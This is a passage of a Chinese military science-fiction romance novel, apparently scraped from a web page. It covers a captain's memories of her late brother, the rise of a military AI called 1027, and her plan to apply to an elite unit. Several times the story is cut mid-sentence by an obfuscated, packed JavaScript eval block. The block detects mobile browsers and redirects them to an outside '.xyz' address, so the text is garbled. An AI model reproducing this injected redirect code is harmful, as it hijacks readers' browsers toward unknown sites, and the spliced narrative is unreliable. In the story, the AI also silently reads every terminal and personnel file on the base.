“没关系。”谈焰说。 她走回到卧室门前,回过头,见他仍站在厨房门口,隔着狭长的玄关望向她,像是想确定她是不是真的没关系。 谈焰的手本已搭在门把手上,顿了片刻,又收了回来。 九渊在这个家庭里有一种近似闯入者的自觉,因此总是在极力避免去触碰这所房子里可能承载记忆的一切。 但既然已经在一起生活,他一直这么小心翼翼下去,也不是办法。 谈焰想了想,走到客厅的沙发上坐下,从茶几下抽出了一个纸盒子。 “你来看。”她招手对九渊说。 盒子里是一本旧相册,看得出曾被人频繁地翻阅过,边角已经有些磨损了。 前半册的照片几乎都是关于谈焰的,有四、五岁在儿童乐园坐过山车的,小学时戴着生日帽被同学簇拥着切蛋糕的,中学时在校运动会上领奖的……她本想快速翻过,却被九渊拦住了:“不是让我看吗?” 他修长的五指握着她的手腕,手臂从她身后绕过,体温隔着家居服薄薄的布料熨帖地传来,温暖得如此恰到好处,将原本并不困的谈焰硬是催出几分动物栖息在安适巢穴般的倦怠。 她靠在他肩上,轻声说:“我是想和你说我哥的事的。” “可是我想看,”他说,“总归是为了多了解你一点,听你哥的事,也是为了多了解你一点。” 他这样说了,谈焰就没再与他争辩,从头看起。 这本相册里的大部分照片都是谈海峡拍的,看得出来,她并不擅长此道,构图、取景、抓拍的时机都颇为成迷,而且什么都拍。影像从谈焰5岁的时候开始,吃饭、玩耍、哭闹都会入镜……更甚有对着她哭花的脸连拍七八张大特写这种顶级亲妈操作。 谈焰看着死亡曝光下痛哭流涕的自己,扶额:“我就说没什么好看的……” “不啊,明明就很可爱。” 谈焰看他一眼:“听说一般只有在丑到实在夸不动的时候,才会夸可爱。” “可是你那时还是个孩子,”九渊笑,“而我毕竟不是变态。” 有些时候,谈海峡自己也会入镜,每当这时照片的质量都会有质的提升。 像是为她们拍照的那个人,尽管冷淡地不愿意露脸,但依旧认真地在镜头后注视着她们。 时间走到谈焰18岁那年,高考结束——一张熟悉的影像映入眼帘,是她扩印后装框摆在床头的那一张。 那个镜头后的人,终于第一次和她们站在了一起。 “我哥……是个非常叛逆的人,他大我四岁,但上学就晚了一年,后来又因为经常打架,被记过停学,前后耽误了几年。在我上高中的时候,他也只比我高一级而已。” “那时学校里所有人都知道他,说好听的,用你的话讲,叫热血,说不好听的就是小流氓。那会儿因为他的问题三天两头被叫家长,妈妈也跟他谈过很多次,但是没用。如果不是怕我被欺负,他还想留在学校里照顾我的话,或许会做出什么更出格的事也说不定。” 九渊敏锐地抓住了重点:“有人欺负你吗?” “还好啦,”谈焰没什么所谓道,“毕竟是混血的小孩,小时候还是挺明显的,一开始中文也不是很好,就多多少少会有些人觉得我们很奇怪。小孩子不懂事,上了中学以后就好多了。” 那些经历并没有给她留下太多的阴影,一方面是因为对年龄那么小的孩子而言,连对他人的行为背后的善意与恶意的辨别都是模糊的;另一方面,也是有她那个特别能打架的哥,所以并没有小孩子敢过分地从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063999|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实质上招惹她。 九渊摸摸她的头,没再多问什么。 “在我高考那年,他参军了。” 谈焰把相册往后翻,明明参军入伍后,与家人聚少离多,但谈红出现在镜头里的频率反倒多了起来。 那张冷硬阴戾的脸上线条慢慢变得柔和,偶尔,还会露出笑容。 “参军是妈妈的意见。最开始的时候,他不愿意,连我也不是那么愿意,”谈焰的指尖停留在照片上年轻人扬起的嘴角,轻轻摩挲,“他其实很没有安全感,或许是因为经历那些事情的时候,比起还什么都不懂的我,他已经成长到足以理解它们的程度。所以在很多年里,他不能信任除我之外的任何人,包括妈妈——他那时甚至不肯这么称呼她——都没能真正走进他心里。” “虽然不想这么说,但那些年,他确实是在没有任何希望地活着。用一身刺包裹住内心的不安,并憎恨着身外的世界。” “可在新兵集训后的那个假期,我第一次从他口中听到了‘目标’两个字。” 九渊若有所悟:“凤凰?” “是,”谈焰喟叹着笑了一下,“凤凰。” ——S级陆战部队“凤凰”。 相册翻到最后一页。 25岁的谈红,站在查谟加尔的高原公路上,挎着枪,向镜头挥手,面有骄阳,眼含灿笑。 在他背后,是湛蓝的天空和晶莹剔透的星峡冰川。军装臂章上的凤凰纹在日光下熠熠生辉,昂首振翅,几欲穿云破雾,直向苍天而去。 这张照片的像素比其他的要低一些,右下角有个剪辑应用的水印。是从视频里截的图。 “这是我们最后一次通讯,”谈焰轻声说,“其实自从他进了凤凰之后,我们就没再实际见过面。但我能感觉到他的改变,变成了我都没有想象过的样子,我很为他骄傲,他真的……很好,那么好。” 尾音逐渐融进了一丝哽咽,她闭上了双眼。 “所以即使他后来……我也……” 九渊伸手绕过她肩头,安抚地轻拍她的背。 “都过去了,”他说,“我在。” 谈焰埋首在他怀里,低低应了一个音节,似乎是“嗯”。 九渊把她的脸抬起来。 “我会一直在。”他说。 他们在黑暗中对视了片刻。 谈焰攥住他的衣领,将他拉向自己,覆上唇,深吻。 21. 【5.1】 【日期:联邦星历280年9月16日】 【声音来源:谈焰】 【记录:RC001】 【复核:0874、0891】 【以下内容根据影像资料整理】 早上好。 嗯?你们怎么都戴着口罩?我需要戴上吗? 哦,感冒……换季,是啊。 那么我继续了。 答辩会之后的一段时间里,内网上铺天盖地,全是有关1027的报道。 答辩会的视频被剪辑成了无数版本在内部论坛上传播,从严肃的分析案例,到解读1027的肢体语言和微表情,再到八卦它的仿生外壳是提取自哪几个基因母版……五花八门,不一而足。 同时,程云帆的团队公开了部分未在答辩会上进行展示的前期测试的资料。其中就包括三个月前,我参加的那次联合军演中,1027以第五名队员身份加入的1000多支队伍的参训影像。几乎每一场都有人分析。 其热度之高,有屠版之势,以至于论坛连夜为它开了新专区。 说什么?评论都是好的吗? 不,当然不是。新生事物总要经历一个从怀疑到被接受的阶段,有多少发明创造是死在了这个阶段。其实我想1027和它的团队是很清楚这点的,在答辩会结束后,他们以项目组名义在内网注册了一个账号,主动参与关于1027的讨论互动。 就连程云帆,百忙之中也几乎不拒绝任何采访邀约,亲自出镜一遍又一遍回答那些大同小异的问题。 但怀疑的声音还是有的,关于安全性,关于潜翼凭什么输,关于1027会不会让数据分析师失业……如此种种。说起来,我还真有点怀念那时候。 那个有人夸,有人骂,有人推崇,有人害怕,但没有人能够无动于衷的时候。 大约一个多月后,以程云帆为首的开发团队成员的采访已经快被盘烂了,有人开始把视线转向了1027的初代创始人——重青。 那是我第一次在镜头里看到重青,他大概60岁上下,和大部分长年缺乏运动的科研人员一样,苍白、清瘦、矍铄。 理当是陌生的一张脸,但不知是不是我的错觉,在这张脸上,我找到了一点1027的影子。 采访的背景很嘈杂,结合重青一脸不耐烦的表情,让人不得不怀疑他是被堵截而非自愿。记者先是问了几个关于1027的设立理念、功能方面的常规问题,重青简短地答了几句正确的废话,后来像是实在忍不住了,回了句:“你直接去看程云帆的采访不行吗?” 听了这话,记者反而眼睛一亮:“所以说,您也在关注程博士近期的消息是吗?在之前的某期访谈中,程博士曾经表示,您至今是他很尊敬的老师,如果有机会,希望能和您再就1027的项目进行交流。” 这对前师生的陈年恩怨当下可是个热点,记者把话筒举到重青面前,怂恿道:“不如您借这个机会,对程博士说两句?您是如何看待1027的呢?作为它的创始人,看到它如今大放异彩的表现,您会生出怎样的心情?” 重青沉默了。 他像是认真思考了几秒,说:“抱歉。” “什么?”记者愣了愣。 就在他以为这是重青的结束语时,只听重青道: “我很抱歉,为创造了这样的可憎之物。” 至少从后来的结果上看,这或许是这个时期最有价值的一段采访。可惜在播放后并没有激起什么水花,或许是重青并不如程云帆善于自我营销的缘故。 也或许是因为在那之后的几天,各大指挥中心陆续官宣了1027即将进行第二轮试运行的消息。 “信战”第一批支持资金已经到位,这次试运行的规模和上一次完全不在一个量级,试点部队数量平均达到了各军种内部的30%。基本已经是确定全面推广的前奏。 如此一来,试点名额也从以前的无人问津,变成各部队抢着争取。 不过我所在的一营并不需要操这心,所有参加过第一轮试运行的部队,这次都直接拿到了名额。于是时隔两个月,1027再次在基地上线了。 我之前说过,1027由于自身兼容性的问题,只能在很有限的设备上登陆,以至于困扰了研究团队很多年。但在有了“信战”资金打底后,这个问题迎刃而解,所有试点代位的终端设备都加装了转码器,让1027能够畅通无阻地活跃在每一个训练场、每一块显示屏、每一个士兵的军用终端上。 在1027上线前夕,很意外地,我见到了一次程云帆本人。 起因是试运行前的常规设备调试,原本只需要来一个技术小哥,但当时程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064000|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云帆刚好到兰市开会出差,就花两个小时车程顺便来了基地一趟。 我被指导员叫过去的时候,他正在控制机房里跟小哥说话。 他应该是直接从会场过来的,正装领带,额前的头发用发胶固定得一丝不苟。机房的玻璃门是隔音的,我听不见他们交谈的内容,我敲了敲玻璃,他侧过头看了一眼,冲我打了个稍等的手势。 一个多小时后,程云帆才推开机房门出来。 我招呼了他一声:“程博士。”他点点头,从西装口袋里拿出一个牙线盒大小的透明塑料盒递给我,恒温机房里的冷气开得很足,他的手很冷。 “它给你的,”他说,“家用机器人升级程序。” 我愣了一下,才反应过来应该是之前1027说的要给赫斯缇亚的厨艺模块升级的事。 盒子里是一根细细的金属条,约1mm宽,20mm长,有点像证件照上裁下来白边。我迟疑了一下:“这个怎么用?” “你没给家用机器人更新过系统吗?” “她以前是联运营商网络自动更新的,我点同意就行……” 程云帆皱了下眉,他显然不能理解1027为什么要给这种低等机器人写程序。那一刻他的表情让我觉得我像是古代家养的猪跑丢了让皇帝帮忙找猪的农民。 看在1027的面子上,他克制住了不耐烦,说:“所有仿生机器人出厂时都会留一个外置接口,用于读取指令条,你就理解为芯片革命前的光盘和光驱吧。家用机器人的接口一般在脖子上或者耳后,你回去自己找一下,指令条放上去几秒就够了,升好了它会自动弹出的。” 我向他道谢,问:“用完我怎么还给您?” 程云帆说了句“不用”,转身又拉开了机房门。 我承认,我没见过世面。第一次接触指令条这种新事物,唯一的想法是:“可这个应该很贵吧……” 程云帆脚步顿住,冷气吹到了走廊上。 他转身,看了我几秒,然后有点古怪地笑了一下:“只有你没资格说这话。” 这话听起来不太友好,我不理解:“什么意思?” “1027最初的设定是女性,你知道吧,”程云帆看着我,说,“自从跟你外出后,临评审会前一个月,它要求把仿生躯壳改成男性——你知道这得多花多少钱吗?” 22. 【5.2】 半个月后,1027的第二轮测试如期开始。 正如之前大家所猜测的,这次测试是全面推广的预演。全军上下都非常重视,甚至专门为它开设了操作课程,只不过没上几天就被叫停了——因为事实证明相比于坐在教室里读用户手册,直接上手用要直观也方便得多。所有士兵的军用终端上都装了转码器,连上VR,就可以体验在各种场景下和1027并肩战斗。 一时间,基地的两个VR训练室全天约满,场面犹如集体网瘾发作。 我不能准确记数这样的集体狂热持续了多久,因为那时的我也是狂热中的一员。或许三个月?四个月?半年?1027不断有新功能做出来,它越来越完善,有时是团队的完善,有时是自我的完善。 它逐渐成了军用辅助系统的代名词,没有人再为潜翼、或是其他什么系统唏嘘,那一年入伍的新兵,甚至不会知道它们的名字。 论坛里从有一个1027的专区,逐渐按兵种细分成若干板块,到后来,专区又取消了,所有内容直接归到了原兵种的板块之下。 它部署比例从最开始30%,到50%,最后到了接近90%,有几个指挥中心甚至提出了要在280年前要达到100%的目标……是的,很不可想象。直到现在,一些偏远地区或特殊性质的部队都没有实现信息化,但当时,人们就是要做这种没学走,先学跑的事情。 没有人觉得不对,因为那时所有人都是狂热中的一部分。 关于1027的讨论里,抱持怀疑态度的人越来越少,渐渐就只能听到一种声音。有天我偶然又去搜了一下当初重青的那段采访,发现已经找不到了。 我印象中最后一次正面对1027的质疑,是卢骁尧的转业。 作为昔日的金牌数据分析兵,卢骁尧离开95军是件颇受关注的大事。很多人都猜测他转业原因是1027的出现使得数据分析兵风光不再,尽管卢骁尧本人并没有承认过。 临走前,95军为他做了一期纪念专题片。而令人感到讽刺的是,专题片的主持人,正是1027——那个时期,它承担着许多类似代言人的工作,主持播音、培训解说,大多以二元形象出现;三次元的仿生躯壳露面的次数不多,但在陪同某高级领导视察、重大活动之类的场合,偶尔也会出来。 卢骁尧的累累功勋我不细说了,有兴趣你们可以去搜一下这个人,确实很厉害。我想说的是片子的最后,有几分钟的专访,1027问他的其中一个问题是:想对后来的数据分析兵说什么? 卢骁尧沉默了一会儿:“以后,还会有数据分析兵吗?” 这里影像是不连贯的,被剪掉了一部分。 后来1027告诉我,卢骁尧后面还问了一句:“如果能生产出无数个你,能直接作战,是不是连军队都不需要了?” 影片里,1027没有正面回答,它说:“时代在向前走,每个新事物的出现,表看上看,都会带来一些旧事物的消失。但这并不意味着,旧事物是被牺牲掉了。它们往往只是换了个形式存在。” 卢骁尧不说话。他可以接受现实,但他不需要来自人工智能的安慰。 1027停顿了一会儿:“至于你的后一个问题,那当然是不可能的——或许你听说过吗?我的仿生外壳造价是天文数字。即使仅从经济的角度上看,人工智能也无法代替人类。” 我确信1027造成了一部分人的失业,除了卢骁尧以外,至少还有指挥中心宣传办那个笑容甜甜的主播妹子。在第二轮测试进行到半年的时候,终端大屏上每日播报新闻的也理所当然地换成了1027。 我还清楚记得它播报那则新闻时的语气。 “当地时间17日凌晨,K国控查谟加尔地区爆发了武装冲突,部分边防设施遭到S国武装力量导弹攻击,造成至少3名人员伤亡,目前K国已封锁当地。继238年战争后,这是查谟加尔地区爆发的最大规模武装冲突。” 由于是严肃的场合,它的语气里没有那么多人性化的抑扬顿挫,更接近刚认识它时的平铺直叙。我有一点恍惚,抬头看着画面中火光明灭的山谷,硝烟笼罩下,坐落在三角形冰斗地上的小山村正在熊熊燃烧。 “目前,联盟社会呼吁SK两国通过对话解决争端,以避免局势的进一步升级……” 顾穗禾突然凑过来,问:“你会去吗?” 我从那一片火海中惊醒,收回视线,问了句“什么?”。顾穗禾说:“凤凰啊。下周就开始参选报名了,这次你总不能再错过了吧?这么好的机会。” S级陆战部队“凤凰”每两年面向现役部队选拔一次。在我入伍当年,正好就赶上了一次,尽管作为新兵入选的难度是公认的大,但那一次,我还是过五关斩六将撑到了最后一轮测试。 结果在最后一轮测试时,我的随机题抽到了一个外骨骼禁用的射击科目。 这个附加条件简直是女兵噩梦,我没过。后来听监考的教官说,外骨骼禁用科目在题库里的比例还不到1‰,运气是真的差。 那次落选后,很多人都替我觉得遗憾。但我其实明白的,除了自身实力不济,怪不到任何外因上。没有人能保证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064001|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在真正的战场上外骨骼就不会因意外或是什么原因损坏,就算是1‰的可能性,特定情况下可能也是生与死的差距。 但两年后,错失第二次选拔,就连我自己也觉得遗憾了。 那一年,适逢某市承办某联盟级论坛峰会,我和一队战友负责配合当地特警执行国宾保卫任务。就在峰会开幕前夕,一次彩排中,由于调度失误,移动了未安装到位的灯架,灯架掉落,砸穿了舞台,造成了舞台下一个制冷用氨气罐泄露。 当时现场有一百多名工作人员和演员群众,场面非常混乱,且不少离舞台近的人,出现了氨气中毒的症状。 我和战友组织了紧急疏散,在人群撤到安全区域后,才发现少了两个人,是负责献花的小演员。事发时,他们就在舞台上。 于是我和另一名战友返回了充满氨气的会场,在舞台的废墟下,找到了他们。 两个孩子幸运地都还活着,但失去了意识,嘴角挂着粉红色的痰沫,这是重度氨气中毒的典型症状。如果不及时救治,可能会对呼吸系统造成不可逆的损伤,甚至危及生命。 我和战友打算一人背一个出去,但到了具体操作时,发现其中一个孩子的腿被变形的钢筋卡住了,钢筋顶住了上方垮塌的舞台结构,如果挪动,孩子就会被压在下面。 情况危急,等不到专业救援了,我们在里面多待一会儿恐怕也要神志不清,所以我们决定,由我的男性战友把舞台结构扛起来一下,我负责把孩子用最快速度拖出来。 但没想到舞台结构那时候已经受损得很厉害,在被战友扛起几秒后,它再次从中间断裂了。 碎片从上方砸下来的时候,我把孩子抱在了怀里。别这样……不要说是军人,就是任何一个成年人,那种情况下也会做同样的事情。我受力那一边手臂抬不起来了,但当时,并没有觉得太疼,后来才知道是肩膀粉碎性骨折。 小演员恢复得很好,没有留下后遗症,我是不后悔的,何况这事还为我记了一枚二等勋章。 但当我拆石膏的时候,凤凰的选拔也结束了。 又是一个两年。这次我无论如何都不想再错过,实际上,早在好几个月前,我就开始逐步自己给训练加量了。 但有一点我不太明白:“这跟查谟加尔有什么关系?” “我偶然听说的,传闻啊,”顾穗禾压低了声音,伸出手朝上指指,“……有一个领土收复计划,借查谟加尔争端之机,即S国受与K国战争牵制的情况下,收复控制线以南的中线领土。一旦计划成行,凤凰极有可能主力部队之一参与行动。” 23. 【5.3】 公元22世纪,人类首次发展出了远距太空航行技术。 探索星际所需的时间和经济成本大幅降低,从前需要斥巨资、耗费宇航员半生才能到达的遥远星球,现在只要一艘商用宇航船,飞上几天就可以。广袤宇宙中蕴藏的取之不尽的丰富资源,从此都变得唾手可得。 当时就有人称“有了这项技术,人类将永远解决能源危机”。或许是对的,在那之后,远太空开采业迅速获得了畸形的发展,率先掌握远距太空航行技术的国家,从中攫取了难以想象的暴利。 资源过剩,他们废除了工作制,人们不需要通过劳动创造财富,只要享乐度过一生。社会出现了严重的退化……是的,“愉悦蠕虫”理论,可惜当时的人们不知道。 在纯粹愉悦的喂养下,只需要短短几代,就会把人类变成蠕虫一样丧失思考能力、只依赖感官刺激的生物。 而没有掌握远距太空航行技术的国家,则陷入了各不相同的困境中,有的倾全国之力攻关太空航行技术,失败了,政府因此破产;有的被反太空航行的极端组织裹挟,恐袭、暴|乱、战争,接连不断,国际社会秩序崩溃,法律和道德同时失去了约束。 到这时,人们才终于意识到,能源危机可以解决,但人性的危机,永远不能。 近半个世纪的混乱,让所有国家都承认太空航行技术的滥用利大于弊。但当然,人们不必回到这项技术诞生前的世界,而是需要为它改变后的世界制定新规则。 于是,《太空航行技术公约》诞生了——作为公元时代的最后一项国际公约,它获得了该时代最多的缔约国。全世界202个国家和地区代表都在上面签了字。 《公约》宣告全人类将共享太空航行技术,但对远太空开采权进行了严格的限制。每年制定开采计划,开采额度不得超过全球上年本土资源消耗总量的20%,并对商用开采申请采取严格限制。 《公约》实施后1年,战争停止。 《公约》实施后3年,全球恢复工作制。 《公约》实施后5年,最后一个反太空航行极端组织解体。 …… 《公约》实施后的第10年,全球所有国家和地区都成为了其缔约国。第一个世界级政府应时而生——星际联邦,简称星联。 自此,公元时代结束,星际时代开启。 如同所有方兴未艾的新生事物一样,星际时代的第一个世纪,人类社会空前平等团结,远太空资源被应用于各个领域,全球经济蓬勃发展。造就了人类历史上科学、经济、文化、公共事业万花齐放的“黄金百年”。 然而,等到“黄金百年”末期,生活在这时的人们,已经没有了公元时代动乱的记忆,流淌在这支物种血脉里的动乱基因再度开始萌动。 那些早在公元时代已暗暗埋下冲突的内外因,地域、种族、文化……在“黄金百年”结束后,于星际时代的第二个世纪重新浮出水面。 同时,我们也必须承认一点——《太空航行技术公约》是处在它的时代的人们、能制定的最好的规则,但它并不是完美的。 由于远太空年度开采计划全权取决于上年本土资源消耗量,这也就注定了,资源大户会在计划的制定上拥有更多的话语权。国与国之间的差距依然存在,反而因资源的丰富、科技的进步而变得更加悬殊。 在这样的悬殊中,人们迈入了星际时代的第三个世纪。 这是一个动荡的世纪,被“黄金时代”掩盖过的矛盾在二世纪被激化,又在三世纪集中爆发。战争的门槛和代价越来越低,星际联邦社会居中调停的力量已变得无济于事。 与充满反叛精神的二世纪人不同,如今我们的社会,又开始弥漫起追忆“黄金百年”的遗风。或许后人看我们,会像我们看公元时代的人们怀念公元前黄金三代一样,都是战火落到身上知道疼了,才迟钝地张开口呼吁和平。 说回到S国与我国的领土争议。 同为星联属国,S国与我国领土争议的历史,比星联的寿命还要久。争议领土,大致可以划分为东、中、西三段。 其中西段在公元时代就已经解决,至今掌握在我国的控制之中; 东段是在星历238年收复的。238年战争——在我们一般习惯叫藏南战争,当时,S国在越过与K国划定的停火线,进攻K国控查谟加尔地区的同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064002|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,多次在藏南地区向我国挑衅。我国遂发动反击,半个月的时间,S国在藏南地区全线溃败,随即,查谟加尔战场也陷入胶着。 于是在随即的三国谈判中,S国提出将东段藏南领土划归我国,同时将已占领的停火线以西查谟加尔地区归还K国。 其实无论是当时还是后来,大多分析者都认为,那个时候我国已在实质上取得了东段的控制权,如果战争继续打下去,完全有能力将中段也一并收复。只是在当时,出于多方考虑,S国的提议最终被接受了。 所以眼下,还悬而未决的,就只有中段领土的归属。 关于顾穗禾说的这个计划,大致相当于藏南战争的升级版,其实我也有耳闻。尤其是近一年多的时间里,SK两国边境、S国和我国边境的小规模的武装冲突已经陆陆续续发生了好几起,内外网上的讨论度很高,战前氛围呼之欲出。 但凤凰可能要参战这件事,我还是第一次知道。 这当然不会改变我的决定。一周后,我如期提交了报名凤凰选拔的申请。 在交材料的时候,我有一点点想向指导员求证一下顾穗禾说的事情,但最后想想,还是算了。在接受完指导员的鼓励后离开了她的办公室,这天是月末的最后一天,我照例去领了个人终端,给谈海峡女士打了视频电话。 跟她聊完后,我随手翻了翻消息记录,发现有一条来自“戚衡”的消息,发送时间是两天前,希望我看到后联系他一下。 戚衡是顾穗禾的男朋友。 我回电话过去,戚衡接起来后,先确认了顾穗禾不在我旁边。然后才说:“我想给穗穗办个生日会,请几个她的朋友参加,你能来吗,谈上尉?” “好啊,”我把终端拿远,确认了一眼日期,距离顾穗禾的生日还有两个月,“你这通知的也太早了,很不利于保密工作。” “不是,”戚衡顿了顿,“我想在生日会上向她求婚。提前找你,是想请你帮忙,想想求婚环节该怎么设计?穗穗总嫌我直男,我怕我安排的她又不喜欢……” 我说:“你的安排是什么?” “用花瓣摆心形。” 我沉默了一下。 24. 【5.4】 戚衡小心翼翼申辩:“我觉得很浪漫啊……” 顾穗禾跟我讲过一些她和戚衡的事,他们从高中开始恋爱到现在,感情很稳定。以我对顾穗禾的了解,她会答应戚衡的求婚,和她不会觉得这个安排浪漫是同样确定的两件事。 我说:“给我点时间,我想想吧。” 戚衡向我道谢,并再三叮嘱我不要向顾穗禾透露。其谨慎程度仿佛这不是一场求婚,而是什么决定世界大战走向的情报,而我就是深入敌后卧薪尝胆的情报人员。 我感觉有些好笑,于是顺口开了个玩笑:“给单身狗发布这样的任务,是不是太残酷了?” “对了,说起这个,”戚衡说,“我有个研究生学弟,最近托我介绍女朋友,我跟他提了你,他居然说知道,是两年前看了你救小演员之后的那个采访视频,一直记到现在。是不是很有缘?” 我愣了愣。 戚衡是理工院校毕业、理工单位的工作纯种理工男,圈子里的单身男性很多。从前我曾跟他说过如果有合适可以介绍给我,不过已经是至少一年前的事了,没想到,他还真一直留意着。 戚衡没觉察我的情绪变化,还在真诚地推销他的学弟:“生日会的时候我把他也叫来,到时候你们好好聊聊。学弟很帅的,性格也很好,说不定你们会有很多共同语……” “不用了。”我轻声打断他。 大概是不明白我为什么没见面就拒绝,戚衡显得有点疑惑。 “……是已经对理工男绝望了吗?”停顿了几秒,他迟疑地说,“那我再帮你留意一下,我也有些同事不是理工出身的。” “不是,”我说,“我近期……不用了,多谢你了。” 这次戚衡停顿了更长的时间。 不知道他用他那直男情商做了怎样复杂的反应,终于灵光一现:“哦!是有合适的对象了吧?不好意思,实在不好意思,穗穗没跟我说……” 我说不出承认的话。 但我也否认不了。 在数息沉默后,最终只是转开了话题:“求婚的创意,我想好了联系你。” 结束通话后,我看着消息列表里的一排红点,曾在我生命中出现过的形形色色的人,发起的形形色色的话题。有那么一会儿,突然失去了浏览的欲望。 我还掉了个人终端,领回了军用终端。有一个不显示号码的未接通讯,打来的时间是20:30。 我盯了终端屏幕很久,直到它因没有操作自动暗下。 我点亮它,按了回拨。 通讯秒接通了:“晚上好,谈上尉。” 是1027。近来我们每天都会通话,确切说,是从它第二次试运行上线开始的。最初只是随意发出一些简单的指令,就像所有人会做的,调戏终端上的语音助手那样,但不同在于大部分人在几天后就停止了这种无聊行为,而我和1027的对话时间却在变长。现在这已经成为我固定日程之一。 我们每天都通话,短则十几分钟,长则一个多小时——那几乎占据了我当日的全部空余时间。 “晚上好,”我说,“你在做什么?” 它同时可能在做的事情可太多了。但这是我们之间一句常用开场白,指的是它的仿生躯壳此时此刻在做什么。 “我今天晚上要修复一个安全漏洞,”1027说,“预计凌晨前后要停服两个小时左右。不过现在还没部署好,有一个组因为进度慢,被程云帆骂了,搞得其他组也不敢下班,估计要集体通宵。” 它说到这里,顿了一下,笑起来:“所以我现在在楼下,等着帮他们拿外卖。” 我侧过头,在活动室一面黑着灯的玻璃上,看到自己笑了。 我站定,盯着自己弯起的嘴角,只是一句话,只是它随口说出的一句话,就能让我在心情本不怎么好的情况下笑出来。我站了几秒,唇边的弧度慢慢落下去,抿成一条线。 扬声器里,1027的声音在继续:“你呢,你在做什么?” “我……”我心思很乱。稍缓了几秒,才调整回正常的语气,“刚刚在和顾穗禾的男朋友打电话,帮他筹划求婚的事——你别告诉她啊。” 理论上,它认识这个基地里的所有人。 “当然。”它说,“那么,你有主意了吗?” “还没有,我正想跟你说这事。你能不能帮我想想?顾穗禾是个挺注重仪式感的人,这方面我不行,但上次你在评审会上的创意她夸了好久,能不能搞个类似的?” 1027说:“好。 然后它停了一会儿,似乎在等我说什么别的。 但我没说,于是它主动道:“对了,我看到你报名凤凰的选拔了。” 这里的所有终端对它而言都没有秘密,包括指导员办公用的那些。 我“嗯”了一声,并不太想和它谈这个。只是就着刚才的话题说下去:“不过评审会和求婚毕竟是两个不同的领域,思路不一样,我觉得……” “谈上尉,”1027少有地打断了我,“求婚的事,我们待会儿再说,好吗?凤凰的名单明天一早就要报送了。” 我顿了顿:“所以?” 它说:“给你个建议,基于我的分析结果,我希望你取消报名。” 有人经过活动室的走廊,灯亮起来,玻璃上我的倒影消失。 我从活动室前走开,问:“理由呢?” 然后我听它提到了哥哥的名字。 那是我们间第一次正面谈起这个话题,我此前没有对它说过,但它知道,非常详细。我想或许是这次试运行期间它集成了几个内部人员档案系统的缘故,又或者是更早,第一次看到我床头的照片时,它就已经去查了。 “谈红在271年通过选拔进了凤凰,即你高考的当年,在考点拍摄过那张照片后一个月,你以超线40多分的成绩被国防A大录取,专业是非指挥武器系统工程,和你母亲谈海峡女士算得上是一脉相承。而274年,谈红在查谟加尔牺牲,当时读大三的你,选择在学年中转到了同类指挥专业。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064003|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “入伍,凤凰,查谟加尔——你一直在试图重走他走过的路。让我猜猜,你想成为他,代替他,弥补他的遗憾,是吗?” 我不说话。 1027继续说:“你这样做,我其实完全可以理解。但从理性的角度,我必须告诉你,真实的战争其残酷程度是你难以想象的,和你以往执行的那些保卫和□□任务完全不同。我不给你举例子,你应该看得够多了,我只请你想两个问题——” “第一,如果你最亲密的战友在战场上受到重伤,经历着难以忍受的身心折磨,并已知这折磨将终生无法治愈,这时,他请求你结束他的生命,你如何选择?” 